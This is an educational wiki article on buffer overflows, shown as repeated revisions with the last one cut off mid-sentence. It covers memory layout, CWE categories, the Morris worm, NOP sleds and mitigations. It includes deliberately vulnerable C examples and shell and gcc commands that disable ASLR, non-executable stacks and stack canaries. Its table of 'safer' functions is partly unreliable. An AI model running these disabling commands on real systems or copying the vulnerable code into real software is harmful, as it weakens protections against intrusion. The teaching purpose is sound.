* [https://www.researchgate.net/publication/281784645_Preventing_Use-after-free_with_Dangling_Pointers_Nullification Use-after-free bug (2015, Lee et al.)]

[[Category:Basic]]

Buffer Overflows

2024-12-11T17:22:28Z

AKofranek: /* References */

[[File:Buffer-overflow.png|500px|thumb|right|Buffer Overflow examle <ref name="BOB">What is a Buffer Overflow Attack, [Online]. Available: https://www.wallarm.com/what/buffer-overflow-attack-definition-types-use-by-hackers-part-1. Accessed: Dec. 11, 2024</ref>]]

== Introduction ==
Buffer overflow is a security vulnerability that should not be underestimated, as it has been the most common type of vulnerability in the last decade. This type of attack is an essential part of all security attacks, as buffer overflow vulnerabilities are widespread and easy to exploit. Especially in the field of cyber attacks, they are exploited by users to gain access to vulnerable servers and control them.

== Definitions ==

=== Buffer ===

A buffer is defined as a '''limited''', contiguously allocated set of memory. The most common buffer in C is an array. <ref name=”RE1”>C. Anley, The Shellcoder’s Handbook: Discovering and Exploiting Security Holes, 2nd ed., Indianapolis: Wiley, 2007</ref>

=== Buffer Overflow ===

Buffer Overflows are possible because in the C and C++ languages there exists no inherent bounds-checking to ensure that data being copied into a buffer will not be larger than what the buffer was initialized to hold. Consequently, if the person writing the program has not explicitly coded the program to check for oversize input, it is possible for data to fill a buffer, and if that data is large enough, to continue to write past the end of the buffer. <ref name=”RE1”/>

== Common Weakness Enumeration (CWE) ==

The importance of addressing buffer overflow vulnerabilities can be seen by examining Mitre’s respective parent category: <ref name=”MIT23a”> MITRE, "CVE Search Results for 'buffer overflow'," [Online]. Available: https://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=buffer+overflow. Accessed: Oct. 16, 2024. </ref>

* CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer

There is a large variety of direct and indirect child categories that further help create a taxonomy of the issues at hand. Some of those are listed here:
<ref name="MIT23b">MITRE, "CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer," [Online]. Available: https://cwe.mitre.org/data/definitions/119.html. Accessed: Oct. 16, 2024.</ref>
<ref name="MIT23c">MITRE, "CWE-788: Access of Memory Location After End of Buffer," [Online]. Available: https://cwe.mitre.org/data/definitions/788.html. Accessed: Oct. 16, 2024.</ref>

* CWE-788: Access of Memory Location After End of Buffer
* CWE-787: Out-of-bounds Write
* CWE-786: Access of Memory Location Before Start of Buffer
* CWE-125: Out-of-bounds Read
* CWE-120: Buffer Copy Without Checking Size of Input (’Classic Buffer Over- flow’)
* CWE-121: Stack-based Buffer Overflow
* CWE-122: Heap-based Buffer Overflow
* CWE-126: Buffer Over-read

== History ==
In the past, there were often a series of events executed with the help of buffer overflows. In 1980, the term Internet worm was a very well-known and sensitive topic because a worm was malicious software that reproduced itself and spread through network connections. It was called a Morris worm because on November 2, 1988, an event occurred that changed the way people thought about networks and about the Internet. On that day, tens of thousands of computers quickly and simultaneously became infected with a self-replicating computer program. Back then, computer science student Robert T. Morris created a computer worm that exploited an unsafe function, which at the time was very commonly used and distributed. Through the practical application of a buffer overflow, the computer worm spread itself around at an alarming rate and, going back, nearly shut down the entire internet. This situation resulted in Morris being the first person convicted under the Computer Fraud and Abuse Act, demonstrating further how dangerous buffer overflows can be. To this day, this attack is perhaps one of the most significant events in the history of computing. With buffer overflows, it was also possible to bypass various security measures. For example, buffer overflows could be used to remove software restrictions from firmware or to bypass copy protection. This was the case with the Android and iOS operating systems, where it was possible to remove various locks and modify the smartphone according to one's own wishes. For example, it was possible to install apps that were not available in the store elsewhere, change the boot animation, access hidden system files, remove manufacturer-specific apps, remove network locks, and much more. One keyword is "jailbreaking" for Apple devices and "rooting" for Android devices. On Nintendo's game console, a game called Pokemon Yellow could be changed from the inside by manipulating the program using shellcode.

While many of these events already reside in the past, buffer overflows do not. The exploit reoccurs frequently, so much so that in 2023 they still secured themselves a spot on the Common Weakness Enumeration/SANS list of the Top 25 Most Dangerous Software Errors. Whether through the adaptation of the exploit's mechanism or simply by focusing on a new set of targets, buffer overflows stay relevant. That's why, when dealing with cybersecurity of any sort, there is no way past them.

== Technical Background and Context ==

=== Memory Layout of a Process ===

Informally, a process is a '''program in execution'''. The status of the current activity of a process is represented by the value of the '''program counter/instruction pointer''' and the content of the processor’s '''registers'''. Different parts of the program are stored in different memory segments, as shown in the figure below.

[[File:Memory structure.png|center]][https://www.cs.ucf.edu/~czou/CDA6938-06/Buffer%20Overflows.pdf#page=8]

* Stack section: temporary data storage when invoking functions (such as function parameters, return addresses, and local variables)
* Heap section: memory that is dynamically allocated during program run time
* Data section: global variables (initialized and uninitialized)
* Code/Text section: the executable, machine-readable bytecode

=== Readable, Writeable, Executable Memory ===

Memory regions have different rights with respect to the process they belong to. For instance, the text section will usually be marked read only and any attempt to write to it will result in a '''Segmentation Fault'''.
<ref name="One1996">A. One, "Smashing the Stack for Fun and Profit," Phrack, vol. 7, no. 49, Nov. 1996.</ref>
All other sections have to be writeable in order for the process to work properly. <ref name=”RE1”/> Whether a section is '''executable''', will largely depend on the applied settings during compilation of the program and the platform on which it is executed.

=== The Stack and Important Control Structures ===

The stack’s primary purpose is to implement and help with the use of functions. A function call alters the flow of execution through a program. However, when its task is completed, a '''function returns control''' to the statement or instruction following the function call. Furthermore, the stack is used to allocate memory for the local variables used in the functions and to return values from the function. <ref name="One1996"/>

During a function call, arguments are pushed onto the stack in reverse order, and the '''return address''' (the instruction pointer EIP) is saved to enable returning to the caller after function execution. Key stack-related registers are:

* EIP (Instruction Pointer): Stores the next instruction's address.
* ESP (Stack Pointer): Points to the top of the stack.
* EBP (Base Pointer): Marks the base of the stack frame for the current function.

When a function is called, the stack is manipulated using '''PUSH''' and '''POP''' instructions. A '''return address''' is pushed onto the stack, allowing the program to return to the calling function. Buffer overflows can occur if a function does not properly limit the size of data written to buffers, potentially '''overwriting the return address'''. An attacker may '''overwrite the return pointer to redirect the flow of execution'''.

== Causes ==

=== C/C++: Vulnerable Functions ===
C is the programming language most affected when it comes to creating buffer overflows, closely followed by C++.
<ref name="Howard2009">M. Howard, D. LeBlanc, and J. Viega, *24 Deadly Sins of Software Security: Programming Flaws and How to Fix Them*, 1st ed. USA: McGraw-Hill, Inc., 2009.</ref>
When writing C code the programmer is responsible for '''data integrity'''. If this responsibility were shifted over to the compiler, the resulting binaries would be significantly slower and less efficient. Furthermore, C’s simplicity increases the programmer’s control. However, this can result in programs that are vulnerable to buffer overflows and memory leaks if the programmer isn’t careful.
<ref name="Erickson2008">J. Erickson, *Hacking: The Art of Exploitation*, 2nd ed. San Francisco: No Starch Press, 2008.</ref>

Some '''vulnerable functions''' from the C/C++ standard are listed here, each with their respective, saver counterpart:
{|class="wikitable"
! Vulnerable || Safer
|-
| strcpy() || strncpy()
|-
| gets() || fgets()
|-
| strcat() || strncat()
|-
| memcpy() || memmove()
|-
| scanf() || sscanf()
|-
| memset() || -
|}

=== IoT/Embedded Devices ===
"The constrained resources of embedded systems leads to the predominant use of the C language. This, along with the tight processing requirements, leave associated devices open to BOF based attacks." <ref name=””> G. Mullen and L. Meany, "Assessment of Buffer Overflow Based Attacks On an IoT Operating System," 2019 Global IoT Summit (GIoTS), Aarhus, Denmark, 2019, pp. 1-6, doi: 10.1109/GIOTS.2019.8766434.
</ref>

== Dangers ==

Arguably, the most significant consequence of a buffer overflow is when the attacker is able to execute their own malicious shellcode. Which is also referred to as arbitrary code execution. This way it is completely up to the attacker itself what they will do with the same privileges as the program on the level of the current user. Create a reverse shell to execute remote code, stealing data or even manipulate all settings of the system. By getting elevated privileges, the attacker would also be able to run code as an administrator or root. Another potential consequence is a Denial of Service (DoS) attack. Instead of executing code, the goal is to cause unpredictable behavior or crash the system by overwriting as much data as possible until the program is unable to handle it. The downtime of a program can be costly for large organizations. Data corruption, system instability, and information disclosure, are all potential consequences that can be caused by a buffer overflow. Consequently, it is up to the creativity of the attacker once a vulnerable code is identified.

Summed up these four are the main dangers:

* Data Corruption
* Program Crashes
* Exploitation: Control Flow Alteration
* Exploitation (via Shellcode Injection): Arbitrary Code Execution

== Types of Buffer Overflow Vulnerabilities ==

The following section will introduce descriptions and simple examples related to the most relevant categories of buffer overflow vulnerabilities. The distinction between Buffer Over-Read and Buffer Over-Write provides a basic categorization of the issues at hand. The respective sections will include simple, illustrative examples. The sections on Stack Buffer Overflow and Heap Buffer Overflow will present more complex concepts, introducing the mechanics and control structures of each memory region and how they could potentially be exploited. Note that Over-Read and Over-Write vulnerabilities can occur in both sections of process memory.

=== Buffer Over-Read ===

The following is a simple example of a Out-of-bounds read operation, that can be performed by a C program:

<pre>

#include <stdio.h>
#include <string.h>

int main(){

int array[5] = {1 ,2 ,3 ,4 ,5};
printf("%d\n", array[5]);

}
</pre>

This program illustrates a common error that new programmers might run into when learning about arrays: Referencing array[5] will eventually attempt to access its sixth element, although the array was only initialized to hold five elements. When this program is run, it will read beyond the bounds of the array and might produce unexpected results.

=== Buffer Over-Write ===
In this section, a simple Out-of-bounds write vulnerability will be examined. Although this particular example showcases a stack-based buffer overflow, we will use it to introduce the general concept of a over-write vulnerability and delve into specifically exploiting the stack's mechanics and control structures in the later section "Stack-based Buffer Overflow".

The following program deliberately uses the insecure strcpy()-function to copy a large string into a buffer, which is actually too small for the string. The following listing displays the complete source code.

<pre>
#include <stdio.h>
#include <string.h>

int main() {

char B[3] = "03"; // gets higher address on stack
char A[8] = "0000000"; // gets lower address on stack

printf("Before overflow: A = %s, B = %s\n", A, B);

strcpy(A, "excessive"); // dangerous
printf("After overflow: A = %s, B = %s\n", A, B);

return 0;
}
</pre>

Console output running the program (bash).
<pre>
Before overflow: A = 0000000, B = 03
After overflow: A = excessive, B = e
</pre>

Inspection of memory before the overflow (gdb).
The memory addresses on the left are the locations of the two buffers.
<pre>
0xffffcc85: 0x30 0x30 0x30 0x30 0x30 0x30 0x30 0x00
0xffffcc8d: 0x30 0x33 0x00
</pre>

Inspection of memory after the overflow (gdb).
<pre>
0xffffcc85: 0x65 0x78 0x63 0x65 0x73 0x73 0x69 0x76
0xffffcc8d: 0x65 0x00 0x00
</pre>

=== Integer Overflow ===
Integer overflows occur when an arithmetic operation attempts to generate a value that lies outside a range that can be represented with a specified number of bits. The most common result of an overflow is that the least significant representable bits of the result are stored. An overflow condition can lead to results that are equivalent to unintended behavior. In particular, if the possibility is not expected, an overflow can affect the reliability and safety of a program. A code example is shown below.

unsigned char a = 255;
unsigned char b = 2;
unsigned char Result = a + b;

The data type unsigned char is used, which comprises 8 bits, and the value range is from 0 to 255. For the variable "a," the value 255 is assigned, and for the variable "b," the value 2 is assigned. If an arithmetic operation is performed, we would get a result that requires more bits than are present to represent. The corresponding dual calculation is shown below.

11111111 (a)
+ 00000010 (b)
----------
100000001 (Result)

The front one, the ninth bit, is no longer contained in the 8 bits of the data type ''unsigned char''. If only the last 8 bits were considered, the result would be 1 and not 257.

The Ariane 5 disaster of 1996 illustrates what can happen when integer overflows are not handled properly in the real world. The rocket was destroyed 37 seconds after launch because of a severe software error, which was caused by an integer overflow. This shows how unresolved integer overflows can have disastrous consequences, particularly in safety-critical systems like aerospace control software. The incident could have been prevented if there had been more robust input validation and error handling procedures, particularly during the conversion process from floating-point to integer data types. <ref name=”AR1”>Innovative Bytes, Ariane-5 disaster - (integer overflow - space requirements), Medium, October 2022</ref>

=== Stack-based Buffer Overflow ===

If more data is written to a buffer than the size assigned to it, there is a chance it could overwrite the adjacent memory. This is called a stack overflow. Since the memory overwritten contains valuable information like the return address, this exploitation is a prime target. As an example, consider an input string that gets copied to the stack from a vulnerable function, that does not validate the size. Whatever was written to this string, as long as it is longer than the size of the buffer, will overwrite memory next to the it. If an attacker creates a string that reaches the return address with a new address on purpose, the program will jump to this exact location after its execution. This type of attack is called "stack smashing". It is frequently used and is well-known in the context of buffer overflows. A common problem of stack smashing is how to guess the starting address of the own shellcode. Just by guessing or brute-forcing the exact return value, it would take the attacker a long time and an enormous number of attempts. This can be minimized by inserting a series of NOP instructions in front of the shellcode. A NOP instruction is a special operation which will push the execution one by one until it hits the malicious code. Adding as many NOP instructions as possible increases the chances of reaching the desired code. This means that as long as the return address points to any NOP instruction, the application will execute the shellcode and we do not have to directly hit address where the code starts.

Stack overflows which alter return addresses, are one of the most dangerous methods of gaining unauthorized access to a system. They allow an attacker to circumvent standard program execution and potentially gain complete control. <ref name="One1996"/>

=== Heap-based Buffer Overflow ===
A program may not know at compile time how much memory it will need. Such segments can be allocated dynamically, during runtime, and will be placed on the heap.
Special system calls brk() and mmap() can be used by Linux programs to achieve that.
The functions malloc(), calloc(), realloc() and free() provide convenient wrapper functions around these system calls and help managing those memory segments. <ref name=”RE1”/>

To be efficient, any malloc() implementation stores a
lot of meta-data about the location of the chunks, the size of the chunks, and perhaps
some special areas for small chunks. It also organizes this information. In dlmalloc, it is
organized into buckets, and in many other malloc implementations it is organized into
a balanced tree structure. This information is stored in two places: in global variables
used by the malloc() implementation itself, and in the memory block before and / or
after the allocated user space. Thus, the heap contains important information about
the state of memory stored directly after any user-allocated buffer. <ref name=”RE1”/>

=== Use-After-Free Vulnerability ===
Use-after-free (UAF) vulnerabilities are a specialized form of a memory management bug occurring when a program tries to use a memory object even though it is already deallocated. This vulnerability can happen, because the pointer to the corresponding memory location may remain accessible, despite the memory itself being marked as accessible for other allocations. If a program tries to access this now-freed memory, it could cause some unexpected behavior or even a security breach. Since an attacker could exploit this "dangling pointer" to gain unauthorized access to the system or leak information meant to be kept confidential. <ref name="UAF">Byoungyoung Lee, Chengyu Song, Yeongjin Jang, Tielei Wang, Taesoo Kim, Long Lu, and Wenke Lee. Preventing use-after-free with dangling pointers nullification. In Network and Distributed System Security Symposium, 2015</ref>

== Mitigation Techniques and How to Disable Them ==
This section will briefly introduce some mitigation techniques that can potentially prevent buffer overflow attacks. First, it will explain the basic concepts in a simple way, and second, it will provide brief guides on how to disable certain mitigation techniques for research purposes.

=== Adress Space Layout Randomisation (ASLR) ===
ASLR randomizes the memory address space layout of processes, making it harder to predict the location of specific functions or buffers. <ref name=”RE1”/> Since code reuse attacks (e.g., ROP attacks) require the memory addresses of gadgets to be known to an attacker, techniques to randomize their entry points have become increasingly popular.

'''ASLR can be temporarily disabled''' at the system level (Linux):
<pre>
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
</pre>
Re-enable after testing:
<pre>
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
</pre>

=== Non-executable Stack (nx-stack) ===
A non-executable stack, or nx-stack, prevents execution of code in the stack, when designated as non-executable, mitigating buffer overflow attacks that inject shellcode into that region. <ref name=”RE1”/>

To '''disable nx-stack''' on a program, use the -z execstack option during compilation. This allows execution of code in the stack memory:
<pre>
gcc -z execstack -o vulnerable_program source.c
</pre>

=== Data Execution Prevention (DEP) ===

Data Execution Prevention (DEP) is a security feature originally developed by MicrosoftR© for Windows XP SP2. There are two basic variants: hardware-based DEP and software-based DEP. If supported by the CPU as well as the process, hardware DEP will be employed; otherwise, DEP has to be carried out in software, which is part of the Windows operating system. The basic functionality of DEP is to prevent applications from executing code in a non-executable area of memory.

=== Stack Canaries ===

Stack canaries are small random values placed on the stack to detect and prevent buffer overflow attacks. If an overflow occurs and modifies the stack, the canary value will change, triggering a security alert or crash. <ref name=”RE1”/>
Typical types of canaries, which are supported by security hardening technologies like ProPolice or Stackguard (GCC), are terminator canaries, random canaries, and random XOR canaries.

To '''disable stack canaries''' when compiling a program, use the -fno-stack-protector option with gcc:
<pre>
gcc -fno-stack-protector -o vulnerable_program source.c
</pre>

== Conclusion ==
Since the rise of C in the early 1970s, buffer overflows have become a serious security vulnerability. Even though high-level programming languages are typically not affected, the number of vulnerable systems is actually rising. At the same time, a wide array of countermeasures are also increasingly adopted and applied. Features like executable space protection (e.g., data execution prevention under Windows) have already been deployed since the mid-2000s, and on the compiler side, technologies like Stackguard support several detection and prevention mechanisms (e.g., different types of canaries). Furthermore, almost every widely used operation system supports Address Space Layout Randomization in order to minimize the attack surface for buffer overflow attacks. For example, at the beginning of 2020, most of the bigger operating systems (Linux, Windows, macOS, iOS, Android, Solaris, OpenBSD, etc.) will offer support for ASLR.

Another key point is the expansion of the Internet of Things (IoT). These widely distributed networks of hardware endpoints have deemed themselves the perfect target for buffer overflow attacks. This stems from the fact that IoT applications mostly utilize low-level, closely hardware-related languages such as C and C++, both of which are almost exclusively for buffer overflows.

== References ==

<references />

=== Further Reading ===

* [http://phrack.org/issues/49/14.html Smashing the stack for fun and profit (1996, Aleph One)]
* [http://phrack.org/issues/60/10.html#article Basic Integer Overflows (2002, Blexim)]
* [https://doi.org/10.1109/SP.2013.45 Just-In-Time Code Reuse: On the Effectiveness of Fine-Grained Address Space Layout Randomization (2013, Snow et al.)]
* [http://www.cs.ucf.edu/~czou/CDA6938-06/Buffer%20Overflows.pdf Buffer Overflow for Dummies (2002, Josef Nelißen)]
* [https://www.hackingarticles.in/a-beginners-guide-to-buffer-overflow/ A Beginner’s Guide to Buffer Overflow (2021, Raj Chandel)]
* [https://repository.unikom.ac.id/56387/1/24_Deadly_Sin.pdf 24 Deadly Sins of Software Security (2009, Michael Howard, David LeBlanc, and John Viega)]
* [https://scholar.google.com/scholar_case?case=551386241451639668 United States v. Morris (1991, U.S. Dept. of Justice)]
* [https://cwe.mitre.org/top25/archive/2023/2023_top25_list.html 2023 CWE Top 25 Most Dangerous Software Weaknesses (2023, CWE)]
* [https://computersciencewiki.org/index.php?title=Stack_memory Stack memory (2023, Bill MacKenty)]
* [https://computersciencewiki.org/index.php?title=Heap_memory Heap memory (2023, Bill MacKenty)]
* [https://dhanvina.medium.com/ariane-5-disaster-integer-overflow-space-requirements-b96f4dda8bdb Ariane 5 (2022, Innovative Bytes)]
* [https://www.researchgate.net/publication/281784645_Preventing_Use-after-free_with_Dangling_Pointers_Nullification Use-after-free bug (2015, Lee et al.)]

[[Category:Basic]]

Buffer Overflows

2024-12-11T17:16:36Z

AKofranek: /* Types of Buffer Overflow Vulnerabilities */

[[File:Buffer-overflow.png|500px|thumb|right|Buffer Overflow examle <ref name="BOB">What is a Buffer Overflow Attack, [Online]. Available: https://www.wallarm.com/what/buffer-overflow-attack-definition-types-use-by-hackers-part-1. Accessed: Dec. 11, 2024</ref>]]

== Introduction ==
Buffer overflow is a security vulnerability that should not be underestimated, as it has been the most common type of vulnerability in the last decade. This type of attack is an essential part of all security attacks, as buffer overflow vulnerabilities are widespread and easy to exploit. Especially in the field of cyber attacks, they are exploited by users to gain access to vulnerable servers and control them.

== Definitions ==

=== Buffer ===

A buffer is defined as a '''limited''', contiguously allocated set of memory. The most common buffer in C is an array. <ref name=”RE1”>C. Anley, The Shellcoder’s Handbook: Discovering and Exploiting Security Holes, 2nd ed., Indianapolis: Wiley, 2007</ref>

=== Buffer Overflow ===

Buffer Overflows are possible because in the C and C++ languages there exists no inherent bounds-checking to ensure that data being copied into a buffer will not be larger than what the buffer was initialized to hold. Consequently, if the person writing the program has not explicitly coded the program to check for oversize input, it is possible for data to fill a buffer, and if that data is large enough, to continue to write past the end of the buffer. <ref name=”RE1”/>

== Common Weakness Enumeration (CWE) ==

The importance of addressing buffer overflow vulnerabilities can be seen by examining Mitre’s respective parent category: <ref name=”MIT23a”> MITRE, "CVE Search Results for 'buffer overflow'," [Online]. Available: https://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=buffer+overflow. Accessed: Oct. 16, 2024. </ref>

* CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer

There is a large variety of direct and indirect child categories that further help create a taxonomy of the issues at hand. Some of those are listed here:
<ref name="MIT23b">MITRE, "CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer," [Online]. Available: https://cwe.mitre.org/data/definitions/119.html. Accessed: Oct. 16, 2024.</ref>
<ref name="MIT23c">MITRE, "CWE-788: Access of Memory Location After End of Buffer," [Online]. Available: https://cwe.mitre.org/data/definitions/788.html. Accessed: Oct. 16, 2024.</ref>

* CWE-788: Access of Memory Location After End of Buffer
* CWE-787: Out-of-bounds Write
* CWE-786: Access of Memory Location Before Start of Buffer
* CWE-125: Out-of-bounds Read
* CWE-120: Buffer Copy Without Checking Size of Input (’Classic Buffer Over- flow’)
* CWE-121: Stack-based Buffer Overflow
* CWE-122: Heap-based Buffer Overflow
* CWE-126: Buffer Over-read

== History ==
In the past, there were often a series of events executed with the help of buffer overflows. In 1980, the term Internet worm was a very well-known and sensitive topic because a worm was malicious software that reproduced itself and spread through network connections. It was called a Morris worm because on November 2, 1988, an event occurred that changed the way people thought about networks and about the Internet. On that day, tens of thousands of computers quickly and simultaneously became infected with a self-replicating computer program. Back then, computer science student Robert T. Morris created a computer worm that exploited an unsafe function, which at the time was very commonly used and distributed. Through the practical application of a buffer overflow, the computer worm spread itself around at an alarming rate and, going back, nearly shut down the entire internet. This situation resulted in Morris being the first person convicted under the Computer Fraud and Abuse Act, demonstrating further how dangerous buffer overflows can be. To this day, this attack is perhaps one of the most significant events in the history of computing. With buffer overflows, it was also possible to bypass various security measures. For example, buffer overflows could be used to remove software restrictions from firmware or to bypass copy protection. This was the case with the Android and iOS operating systems, where it was possible to remove various locks and modify the smartphone according to one's own wishes. For example, it was possible to install apps that were not available in the store elsewhere, change the boot animation, access hidden system files, remove manufacturer-specific apps, remove network locks, and much more. One keyword is "jailbreaking" for Apple devices and "rooting" for Android devices. On Nintendo's game console, a game called Pokemon Yellow could be changed from the inside by manipulating the program using shellcode.

While many of these events already reside in the past, buffer overflows do not. The exploit reoccurs frequently, so much so that in 2023 they still secured themselves a spot on the Common Weakness Enumeration/SANS list of the Top 25 Most Dangerous Software Errors. Whether through the adaptation of the exploit's mechanism or simply by focusing on a new set of targets, buffer overflows stay relevant. That's why, when dealing with cybersecurity of any sort, there is no way past them.

== Technical Background and Context ==

=== Memory Layout of a Process ===

Informally, a process is a '''program in execution'''. The status of the current activity of a process is represented by the value of the '''program counter/instruction pointer''' and the content of the processor’s '''registers'''. Different parts of the program are stored in different memory segments, as shown in the figure below.

[[File:Memory structure.png|center]][https://www.cs.ucf.edu/~czou/CDA6938-06/Buffer%20Overflows.pdf#page=8]

* Stack section: temporary data storage when invoking functions (such as function parameters, return addresses, and local variables)
* Heap section: memory that is dynamically allocated during program run time
* Data section: global variables (initialized and uninitialized)
* Code/Text section: the executable, machine-readable bytecode

=== Readable, Writeable, Executable Memory ===

Memory regions have different rights with respect to the process they belong to. For instance, the text section will usually be marked read only and any attempt to write to it will result in a '''Segmentation Fault'''.
<ref name="One1996">A. One, "Smashing the Stack for Fun and Profit," Phrack, vol. 7, no. 49, Nov. 1996.</ref>
All other sections have to be writeable in order for the process to work properly. <ref name=”RE1”/> Whether a section is '''executable''', will largely depend on the applied settings during compilation of the program and the platform on which it is executed.

=== The Stack and Important Control Structures ===

The stack’s primary purpose is to implement and help with the use of functions. A function call alters the flow of execution through a program. However, when its task is completed, a '''function returns control''' to the statement or instruction following the function call. Furthermore, the stack is used to allocate memory for the local variables used in the functions and to return values from the function. <ref name="One1996"/>

During a function call, arguments are pushed onto the stack in reverse order, and the '''return address''' (the instruction pointer EIP) is saved to enable returning to the caller after function execution. Key stack-related registers are:

* EIP (Instruction Pointer): Stores the next instruction's address.
* ESP (Stack Pointer): Points to the top of the stack.
* EBP (Base Pointer): Marks the base of the stack frame for the current function.

When a function is called, the stack is manipulated using '''PUSH''' and '''POP''' instructions. A '''return address''' is pushed onto the stack, allowing the program to return to the calling function. Buffer overflows can occur if a function does not properly limit the size of data written to buffers, potentially '''overwriting the return address'''. An attacker may '''overwrite the return pointer to redirect the flow of execution'''.

== Causes ==

=== C/C++: Vulnerable Functions ===
C is the programming language most affected when it comes to creating buffer overflows, closely followed by C++.
<ref name="Howard2009">M. Howard, D. LeBlanc, and J. Viega, *24 Deadly Sins of Software Security: Programming Flaws and How to Fix Them*, 1st ed. USA: McGraw-Hill, Inc., 2009.</ref>
When writing C code the programmer is responsible for '''data integrity'''. If this responsibility were shifted over to the compiler, the resulting binaries would be significantly slower and less efficient. Furthermore, C’s simplicity increases the programmer’s control. However, this can result in programs that are vulnerable to buffer overflows and memory leaks if the programmer isn’t careful.
<ref name="Erickson2008">J. Erickson, *Hacking: The Art of Exploitation*, 2nd ed. San Francisco: No Starch Press, 2008.</ref>

Some '''vulnerable functions''' from the C/C++ standard are listed here, each with their respective, saver counterpart:
{|class="wikitable"
! Vulnerable || Safer
|-
| strcpy() || strncpy()
|-
| gets() || fgets()
|-
| strcat() || strncat()
|-
| memcpy() || memmove()
|-
| scanf() || sscanf()
|-
| memset() || -
|}

=== IoT/Embedded Devices ===
"The constrained resources of embedded systems leads to the predominant use of the C language. This, along with the tight processing requirements, leave associated devices open to BOF based attacks." <ref name=””> G. Mullen and L. Meany, "Assessment of Buffer Overflow Based Attacks On an IoT Operating System," 2019 Global IoT Summit (GIoTS), Aarhus, Denmark, 2019, pp. 1-6, doi: 10.1109/GIOTS.2019.8766434.
</ref>

== Dangers ==

Arguably, the most significant consequence of a buffer overflow is when the attacker is able to execute their own malicious shellcode. Which is also referred to as arbitrary code execution. This way it is completely up to the attacker itself what they will do with the same privileges as the program on the level of the current user. Create a reverse shell to execute remote code, stealing data or even manipulate all settings of the system. By getting elevated privileges, the attacker would also be able to run code as an administrator or root. Another potential consequence is a Denial of Service (DoS) attack. Instead of executing code, the goal is to cause unpredictable behavior or crash the system by overwriting as much data as possible until the program is unable to handle it. The downtime of a program can be costly for large organizations. Data corruption, system instability, and information disclosure, are all potential consequences that can be caused by a buffer overflow. Consequently, it is up to the creativity of the attacker once a vulnerable code is identified.

Summed up these four are the main dangers:

* Data Corruption
* Program Crashes
* Exploitation: Control Flow Alteration
* Exploitation (via Shellcode Injection): Arbitrary Code Execution

== Types of Buffer Overflow Vulnerabilities ==

The following section will introduce descriptions and simple examples related to the most relevant categories of buffer overflow vulnerabilities. The distinction between Buffer Over-Read and Buffer Over-Write provides a basic categorization of the issues at hand. The respective sections will include simple, illustrative examples. The sections on Stack Buffer Overflow and Heap Buffer Overflow will present more complex concepts, introducing the mechanics and control structures of each memory region and how they could potentially be exploited. Note that Over-Read and Over-Write vulnerabilities can occur in both sections of process memory.

=== Buffer Over-Read ===

The following is a simple example of a Out-of-bounds read operation, that can be performed by a C program:

<pre>

#include <stdio.h>
#include <string.h>

int main(){

int array[5] = {1 ,2 ,3 ,4 ,5};
printf("%d\n", array[5]);

}
</pre>

This program illustrates a common error that new programmers might run into when learning about arrays: Referencing array[5] will eventually attempt to access its sixth element, although the array was only initialized to hold five elements. When this program is run, it will read beyond the bounds of the array and might produce unexpected results.

=== Buffer Over-Write ===
In this section, a simple Out-of-bounds write vulnerability will be examined. Although this particular example showcases a stack-based buffer overflow, we will use it to introduce the general concept of a over-write vulnerability and delve into specifically exploiting the stack's mechanics and control structures in the later section "Stack-based Buffer Overflow".

The following program deliberately uses the insecure strcpy()-function to copy a large string into a buffer, which is actually too small for the string. The following listing displays the complete source code.

<pre>
#include <stdio.h>
#include <string.h>

int main() {

char B[3] = "03"; // gets higher address on stack
char A[8] = "0000000"; // gets lower address on stack

printf("Before overflow: A = %s, B = %s\n", A, B);

strcpy(A, "excessive"); // dangerous
printf("After overflow: A = %s, B = %s\n", A, B);

return 0;
}
</pre>

Console output running the program (bash).
<pre>
Before overflow: A = 0000000, B = 03
After overflow: A = excessive, B = e
</pre>

Inspection of memory before the overflow (gdb).
The memory addresses on the left are the locations of the two buffers.
<pre>
0xffffcc85: 0x30 0x30 0x30 0x30 0x30 0x30 0x30 0x00
0xffffcc8d: 0x30 0x33 0x00
</pre>

Inspection of memory after the overflow (gdb).
<pre>
0xffffcc85: 0x65 0x78 0x63 0x65 0x73 0x73 0x69 0x76
0xffffcc8d: 0x65 0x00 0x00
</pre>

=== Integer Overflow ===
Integer overflows occur when an arithmetic operation attempts to generate a value that lies outside a range that can be represented with a specified number of bits. The most common result of an overflow is that the least significant representable bits of the result are stored. An overflow condition can lead to results that are equivalent to unintended behavior. In particular, if the possibility is not expected, an overflow can affect the reliability and safety of a program. A code example is shown below.

unsigned char a = 255;
unsigned char b = 2;
unsigned char Result = a + b;

The data type unsigned char is used, which comprises 8 bits, and the value range is from 0 to 255. For the variable "a," the value 255 is assigned, and for the variable "b," the value 2 is assigned. If an arithmetic operation is performed, we would get a result that requires more bits than are present to represent. The corresponding dual calculation is shown below.

11111111 (a)
+ 00000010 (b)
----------
100000001 (Result)

The front one, the ninth bit, is no longer contained in the 8 bits of the data type ''unsigned char''. If only the last 8 bits were considered, the result would be 1 and not 257.

The Ariane 5 disaster of 1996 illustrates what can happen when integer overflows are not handled properly in the real world. The rocket was destroyed 37 seconds after launch because of a severe software error, which was caused by an integer overflow. This shows how unresolved integer overflows can have disastrous consequences, particularly in safety-critical systems like aerospace control software. The incident could have been prevented if there had been more robust input validation and error handling procedures, particularly during the conversion process from floating-point to integer data types. <ref name=”AR1”>Innovative Bytes, Ariane-5 disaster - (integer overflow - space requirements), Medium, October 2022</ref>

=== Stack-based Buffer Overflow ===

If more data is written to a buffer than the size assigned to it, there is a chance it could overwrite the adjacent memory. This is called a stack overflow. Since the memory overwritten contains valuable information like the return address, this exploitation is a prime target. As an example, consider an input string that gets copied to the stack from a vulnerable function, that does not validate the size. Whatever was written to this string, as long as it is longer than the size of the buffer, will overwrite memory next to the it. If an attacker creates a string that reaches the return address with a new address on purpose, the program will jump to this exact location after its execution. This type of attack is called "stack smashing". It is frequently used and is well-known in the context of buffer overflows. A common problem of stack smashing is how to guess the starting address of the own shellcode. Just by guessing or brute-forcing the exact return value, it would take the attacker a long time and an enormous number of attempts. This can be minimized by inserting a series of NOP instructions in front of the shellcode. A NOP instruction is a special operation which will push the execution one by one until it hits the malicious code. Adding as many NOP instructions as possible increases the chances of reaching the desired code. This means that as long as the return address points to any NOP instruction, the application will execute the shellcode and we do not have to directly hit address 